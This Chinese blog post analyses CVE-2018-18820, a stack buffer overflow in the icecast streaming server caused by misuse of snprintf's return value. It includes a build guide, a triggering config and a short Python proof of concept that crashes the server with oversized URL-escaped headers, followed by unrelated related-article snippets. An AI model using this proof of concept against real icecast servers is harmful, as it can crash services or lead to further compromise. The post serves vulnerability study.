CVE-2018-18820 icecast 栈缓冲区越界写漏洞分析
前言
icecast 是一款开源的流媒体服务器 , 当服务器配置了 url 认证时,服务器在处理 HTTP 头部字段时错误的使用了 snprintf 导致栈缓冲区的越界写漏洞( CVE-2018-18820 )。
影响版本
version 2.4.0, 2.4.1, 2.4.2 or 2.4.3
触发条件
配置文件中,对 <mount> 节点配置了 url 认证
了解 snprintf
snprintf 可以控制往目标缓冲区写数据的长度,比 sprintf 要安全一些。不过有些开发者可能会误解它的返回值, 它返回的是格式化解析后形成的字符串的长度(及期望写入目标缓冲区的长度),而不是实际写入 目标缓冲区的内存长度。
下面写一个 demo 演示下就清楚了。
#include <stdio.h>
#include <string.h>
int main(int argc, char const *argv[])
{
char buf[100] = {0};
char large[2000] = {0};
memset(large, 'k', 1999);
int ret = snprintf(buf, 100, "xxx%s", large);
printf("%d\n", ret);
return 0;
}
运行结果
$ gcc test.c -o test -g
$ ./test
2002
可以看到 snprintf 的返回值是 2002 , 这个其实就是 "xxx%s", large 格式化解析生成的字符串的长度,而实际写入 buf 的数据长度为 100 字节。
环境搭建
从 gitlab 把源码下载下来,然后切换到一个有漏洞的分支,然后编译它。
git clone https://gitlab.xiph.org/xiph/icecast-server.git
cd icecast-server/
git reset a192f696c30635c98a6704451a4d9e5d9668108c --hard
git submodule update --init
./autogen.sh
./configure --with-curl
make -j4
sudo make install
编译完之后生成 src/icecast, 这个就是 icecast-server 的程序。
可以触发漏洞的配置文件(icecast.xml)
<icecast>
<location>Earth</location>
<admin>icemaster@localhost</admin>
<hostname>0.0.0.0</hostname>
<limits>
<clients>100</clients>
<sources>2</sources>
<queue-size>524288</queue-size>
<client-timeout>30</client-timeout>
<header-timeout>15</header-timeout>
<source-timeout>10</source-timeout>
<burst-size>655355</burst-size>
</limits>
<authentication>
<source-password>hackme</source-password>
<relay-password>hackme</relay-password>
<admin-user>admin</admin-user>
<admin-password>hackme</admin-password>
</authentication>
<listen-socket>
<port>8000</port>
</listen-socket>
<http-headers>
<header name="Access-Control-Allow-Origin" value="*" />
</http-headers>
<mount type="normal">
<mount-name>/auth_example.ogg</mount-name>
<authentication>
<role type="url" match-method="get,post,head,options" allow-web="*" deny-admin="*" may-alter="send_error,redirect">
<option name="client_add" value="http://myauthserver.net/notify_listener.php"/>
<option name="client_remove" value="http://myauthserver.net/notify_listener.php"/>
<option name="action_add" value="listener_add"/>
<option name="action_remove" value="listener_remove"/>
<option name="headers" value="x-foo,x-bar"/>
</role>
<role type="anonymous" match-method="get,post,head,options" deny-all="*" />
</authentication>
<event-bindings>
<event type="url" trigger="source-connect">
<option name="url" value="http://myauthserver.net/notify_mount.php" />
<option name="action" value="mount_add" />
</event>
<event type="url" trigger="source-disconnect">
<option name="url" value="http://myauthserver.net/notify_mount.php" />
<option name="action" value="mount_remove" />
</event>
</event-bindings>
</mount>
<paths>
<basedir>/usr/local/share/icecast</basedir>
<logdir>/usr/local/var/log/icecast</logdir>
<webroot>/usr/local/share/icecast/web</webroot>
<adminroot>/usr/local/share/icecast/admin</adminroot>
<alias source="/" destination="/status.xsl"/>
</paths>
<logging>
<accesslog>access.log</accesslog>
<errorlog>error.log</errorlog>
<loglevel>information</loglevel> <!-- "debug", "information", "warning", or "error" -->
<logsize>10000</logsize> <!-- Max size of a logfile -->
</logging>
<security>
<chroot>false</chroot>
</security>
</icecast>
然后使用 -c 参数指定配置文件路径启动服务器
./src/icecast -c icecast.xml
PS: 可能会提示一些目录不存在,手动创建,然后修改权限给程序访问即可。

此时服务器会监听 8000 端口。
漏洞分析
漏洞位于 url_add_client, 下面来分析分析这个函数

首先判断 url->addurl 不能为空,然后取出了一些客户端请求的信息,比如 user-agnet。
一开始的配置文件被我删的过多,导致 url->addurl 一直为空,后来通过在源码里面搜索引用的地方发现它其实是从配置文件读取出来的 _

其实就是配置文件的 其中一个 option 节点的值
<option name="client_add" value="http://myauthserver.net/notify_listener.php"/>
继续往下看

这里首先获取了请求的 url ,服务器的信息,然后把这些信息和之前拿到的 user-agent 使用 snprintf 拼接到 post 缓冲区里,这个缓冲区大小为 4096 。然后把返回值保存到了 post_offset.
接下来程序会从HTTP请求里面取出在配置文件中指定的 header 头部字段 的值。
<option name="headers" value="x-foo,x-bar"/>
在这里就是 x-foo 和 x-bar 首部字段的值,取出之后再次使用 snprintf 拼接到 post_offset 里面。

注意到此时 snprintf 的 第一个参数为
post + post_offset
返回值随后也是保存到 post_offset 里面。通过前面的了解,snprintf 的返回值,返回的是 解析格式化字符串后生成的字符串的长度。然后 snprintf 的 header_valesc 其实就是我们提交的首部字段的值。那我们就可以通过构造超长的 header_valesc 来使得 post_offset 变成一个比较大的值 (超过 post 缓冲区的大小), 这样在下一次调用 snprintf 时,就可以越界写栈上的数据了。
POC 构造
从漏洞位置往上看,发现修改 post_offset 就两处,一处是最开始的时候把 user_agent 拼接到 post
post_offset = snprintf(post, sizeof (post),
"action=%s&server=%s&port=%d&client=%lu&mount=%s"
"&user=%s&pass=%s&ip=%s&agent=%s",
url->addaction, /* already escaped */
server, port, client->con->id, mount, username,
password, ipaddr, user_agent);
第二次就是漏洞点
header_valesc = util_url_escape (header_val);
post_offset += snprintf(post + post_offset,
sizeof(post) - post_offset,
"&%s%s=%s",
url->prefix_headers ? url->prefix_headers : "",
cur_header, header_valesc);
开始想着直接发 超长的字符过去就行了,测试发现服务器对数据包的最大长度有限制(大概是 4000 字节左右),发太长的数据包,服务器直接拒绝掉了。
$ python poc.py
Traceback (most recent call last):
File "poc.py", line 11, in <module>
r = requests.get("http://localhost:8000/auth_example.ogg", headers=headers)
File "/usr/local/lib/python2.7/dist-packages/requests/api.py", line 72, in get
return request('get', url, params=params, **kwargs)
File "/usr/local/lib/python2.7/dist-packages/requests/api.py", line 58, in request
return session.request(method=method, url=url, **kwargs)
File "/usr/local/lib/python2.7/dist-packages/requests/sessions.py", line 508, in request
resp = self.send(prep, **send_kwargs)
File "/usr/local/lib/python2.7/dist-packages/requests/sessions.py", line 618, in send
r = adapter.send(request, **kwargs)
File "/usr/local/lib/python2.7/dist-packages/requests/adapters.py", line 490, in send
raise ConnectionError(err, request=request)
requests.exceptions.ConnectionError: ('Connection aborted.', error(104, 'Connection reset by peer'))
这样的话其实是触发不了漏洞的(长度不够导致 post_offset 值也不够大)。
下面就在思考该怎么把长度凑够。
方法一
可以发现在第一次调 snprintf 时,把配置文件中的项拼接进去了( url->addaction), 第二次的调用会把配置文件中配置的 首部字段名 也拼接进去, 那修改配置文件,把这些项设置的长一些应该可以凑够越界的长度(估计漏洞作者就是这样干的)。
https://gitlab.xiph.org/xiph/icecast-server/issues/2342
方法二
最开始看代码时忽视了一个函数 util_url_escape , 发现从 HTTP 请求里面取出的数据 (user_agent 和 首部的值) 都会先用这个函数 处理一遍,然后去做拼接,测试发现这个函数是一个 url 编码函数。
我们知道一些特殊字符会 url 编码成 3 个字符,比如 # 就会被编码成 %23 .
所以我们可以用 会被 url 编码的特殊字符来让 post_offset 值足够超过 post 的大小,然后后面的调用就会触发越界写了。
poc
#!/usr/bin/env python
# encoding: utf-8
import requests
# 会把 # url 编码(%23),从而产生 3 倍的 字符
payload = "#" * 1000
headers = {}
headers['user-agent'] = payload
headers['x-foo'] = payload
headers['x-bar'] = payload
r = requests.get("http://localhost:8000/auth_example.ogg", headers=headers)
会修改掉一些栈上的数据,导致 服务器crash

CVE-2018-18820 icecast 栈缓冲区越界写漏洞分析的更多相关文章
- CVE-2018-15688 systemd dhcp6组件越界写漏洞分析
编译的话 , 用 ubuntu 18.10, 没有 patch 的源码下载路径 https://codeload.github.com/poettering/systemd/zip/3941f8329 ...
- Netatalk CVE-2018–1160 越界访问漏洞分析
编译安装 首先下载带有漏洞的源代码 https://sourceforge.net/projects/netatalk/files/netatalk/3.1.11/ 安装一些依赖库(可能不全,到时根据 ...
- 【转帖】intel 2018年1 月2号爆出漏洞分析 知乎匿名用户
作者:匿名用户链接:https://www.zhihu.com/question/265012502/answer/288407097来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载 ...
- 简单尝试利用维控LeviStudioU的一栈缓冲区溢出漏洞
这是别人给我发的,让我分析一下,看能否写出exp.只怪自己水平不够,最后没能写出exp,以下为自己的分析思路 环境为win10 pro x64 英文版(10.0.16299) 默认安全配置 一.漏洞分 ...
- cve-2010-3333 Microsoft Office Open XML文件格式转换器栈缓冲区溢出漏洞 分析
用的是泉哥的POC来调的这个漏洞 0x0 漏洞调试 Microsoft Office Open XML文件格式转换器栈缓冲区溢出漏洞 Microsoft Office 是微软发布的非常流行的办公 ...
- STATUS_STACK_BUFFER_OVERRUN不一定是栈缓冲区溢出
STATUS_STACK_BUFFER_OVERRUN异常一般是指栈缓冲区溢出的溢出,代码为0xC0000409,消息提示一般为“Security check failure or stack buf ...
- 漏洞分析:CVE 2021-3156
漏洞分析:CVE 2021-3156 漏洞简述 漏洞名称:sudo堆溢出本地提权 漏洞编号:CVE-2021-3156 漏洞类型:堆溢出 漏洞影响:本地提权 利用难度:较高 基础权限:需要普通用户权限 ...
- STM32下FatFs的移植,实现了坏块管理,硬件ECC,ECC纠错,并进行擦写均衡分析
最近因项目需要,做一个数据采集的单片机平台.需要移植 FatFs .现在把最后成果贴上来. 1.摘要 在 STM32 单片机上,成功移植 FatFs 0.12b,使用的 Nand Flash 芯片为 ...
- Java性能分析之线程栈详解与性能分析
Java性能分析之线程栈详解 Java性能分析迈不过去的一个关键点是线程栈,新的性能班级也讲到了JVM这一块,所以本篇文章对线程栈进行基础知识普及以及如何对线程栈进行性能分析. 基本概念 线程堆栈也称 ...
随机推荐
- 本地主机不安装oracle客户端--访问远程oracle数据库
在不安装oracle客户端情况下用sqlplus连接数据库: 1.去官网下载 http://www.oracle.com/technetwork/topics/winx64soft-089540.ht ...
- Python -----issubclass和isinstance
issubclass用于判断一个类是否为另一个类的子类,isinstance用于判断一个对象是否某类的一个实例 import math class Point: def __init__(self, ...
- 帝国CMS-后台管理工具
后台管理工具 apache+mysql 搭建的后台管理工具 参考手册*************http://www.phome.net/doc/ecmsedu/ 1.安装----- 使用的一键安装包. ...
- #ifdef、#ifndef、#else、#endif执行条件编译
我们开发的程序不只在pc端运行,也要在移动端运行.这时程序就要根据机器的环境来执行选择性的编译,如对PC端编译PC端的程序,对移动端编译移动端的程序,这里我们就可以用两组条件编译. ...
- Spring学习--Spring事务相关速记
数据库事务 事务特性: 原子性,事务是不可分割的最小工作单元,事务内的操作要么全做,要么全不做 一致性,在事务执行前数据库的数据处于正确的状态,而事务执行完成后数据库的数据还是处于正确的状态 隔离性, ...
- 主键映射和Hibernate映射
组件映射 类组合关系的映射,也叫做组件映射! 注意:组件类和被包含的组件类,共同映射到一张表! 需求: 如汽车与车轮 代码示例: 1.JavaBean Wheel.java package com.g ...
- 和我一起打造个简单搜索之ElasticSearch入门
本文简单介绍了使用 Rest 接口,对 es 进行操作,更深入的学习,可以参考文末部分. 环境 本文以及后续 es 系列文章都基于 5.5.3 这个版本的 elasticsearch ,这个版本比较稳 ...
- nginx 代理之修改header 的HOST,实现代理转代理
现有一个需求,需要从nginx跳转到k8s的traefik代理上,从而实现服务的访问,用于测试.直接修改proxy_set_header的HOST,修改为traefuk代理的域名,proxy_pass ...
- 记一次java程序占用cpu超高排查
1.首先通过top命令查看占用cpu过高的pid #top top - 18:07:25 up 48 days, 1:07, 3 users, load average: 11.94, 11.9 ...
- Java中数据类型转换大全(个人总结)
一.字符串转换为其他类型 1.将字符串转化为int型 (1)方法一 int i = Integer.parseInt(String str); (2)方法二 int i = Integer.value ...